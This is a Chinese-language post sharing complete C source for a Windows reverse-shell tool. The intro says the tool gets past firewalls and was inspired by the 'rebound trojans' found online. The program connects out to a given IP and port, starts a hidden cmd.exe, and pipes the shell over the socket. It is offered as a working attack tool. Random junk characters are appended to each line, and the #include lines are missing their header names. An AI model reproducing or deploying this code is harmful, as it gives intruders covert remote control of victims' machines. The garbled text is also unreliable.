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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 %5</ d5.  
9G+f/k,P  
/* ============================== a_T,t'6  
Rebound port in Windows NT 0A$SYF$O+[  
By wind,2006/7 $N+6h#  
===============================*/ Fxd{ Zk`  
#include nnCug  
#include V 2znU  
A=3HO\n5  
#pragma comment(lib,"wsock32.lib") J%v5d*$.  
;_JH:}j  
void OutputShell(); z_SagU,\  
SOCKET sClient; >Wi s.e%b  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; P;91~``b-  
/)#8)"`nT  
void main(int argc,char **argv) :X>DkRP  
{ q(]f]Vl|0  
WSADATA stWsaData; -WR}m6yMr  
int nRet; a8uYs DS  
SOCKADDR_IN stSaiClient,stSaiServer; bkQ3c-C<  
>]$aoA#  
if(argc != 3) (O5)wej   
{ (!zM\sF  
printf("Useage:\n\rRebound DestIP DestPort\n"); :$H!@n*/R  
return; ZlR!s!vv  
} w=J4zkWk  
jMU9{Si  
WSAStartup(MAKEWORD(2,2),&stWsaData); = HE m)  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); moO _-@i  
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stSaiClient.sin_family = AF_INET; U6{dI@|B  
stSaiClient.sin_port = htons(0); 1L[S*X  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); km>o7V&4G  
S<oQ}+4[~  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) :R+],m il  
{ M\UWWb&%\  
printf("Bind Socket Failed!\n"); -9G]x{>  
return; I'IB_YRL4  
} rSyaZ6#  
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stSaiServer.sin_family = AF_INET; XZO<dhZX:  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); D@hmO]5c  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); < l[` "0  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) t<lyg0f  
{ Zr"dOj$Jf  
printf("Connect Error!"); s/ S+ ec3  
return; q3\!$IM.  
} T46{*(  
OutputShell(); `u=<c  
} 2u&c &G  
)6G+tU'  
void OutputShell() E& ]_U$  
{ Gg+YfY_  
char szBuff[1024]; \UQ],+H  
SECURITY_ATTRIBUTES stSecurityAttributes; 7ukDS]  
OSVERSIONINFO stOsversionInfo; 0*{p Oe/u  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; R6Pz#`n  
STARTUPINFO stStartupInfo; w:R]!e_6\9  
char *szShell; J~2 CD*v  
PROCESS_INFORMATION stProcessInformation; m/N(%oMWB=  
unsigned long lBytesRead; s=jO; K$  
}2xb&6g~o  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); )`RZkCe  
2o}8W7y  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); R7t bxC  
stSecurityAttributes.lpSecurityDescriptor = 0; Bcm=G""  
stSecurityAttributes.bInheritHandle = TRUE; <Am^z~[  
/2'c>  
_ ^3@PM>  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); V,'FlU  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); cFxSDTR  
h=mv9=x  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); @f'AWeJ2  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Q,TaJ]  
stStartupInfo.wShowWindow = SW_HIDE; ,,2_/u\"/i  
stStartupInfo.hStdInput = hReadPipe; rN'k4V"K  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 6KBHRt  
'Sk6U]E~  
GetVersionEx(&stOsversionInfo); 2X +7b M  
'|+=B u  
switch(stOsversionInfo.dwPlatformId) Jz2 q\42q  
{ 3g+ \? L-c  
case 1: M, Po54u  
szShell = "command.com"; -y<rM0"NE  
break; N}1-2  
default: j[BgP\&,  
szShell = "cmd.exe"; l9,w>]s  
break; m';|}z'  
} PK9Qm'W b  
0c{Gr 0[>  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 4O9tx_<JG  
SwQOFE/Dv~  
send(sClient,szMsg,77,0); ;vZ*,q6  
while(1) yA457'R1  
{ ZW`HDrP`  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ~n)]dFy  
if(lBytesRead) ROcY'-  
{ l %]<-  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); rUhWZta  
send(sClient,szBuff,lBytesRead,0); X@G[=Rs  
} :1%VZvWk*  
else 7Co3P@@  
{ N>h]mX6  
lBytesRead=recv(sClient,szBuff,1024,0); !G@V<'F  
if(lBytesRead<=0) break; _y.mpX&  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); }qTv&Z3$  
} .kz(V5  
} 15RI(BN   
#zh6=.,7  
return; ^!XU+e+:0  
}
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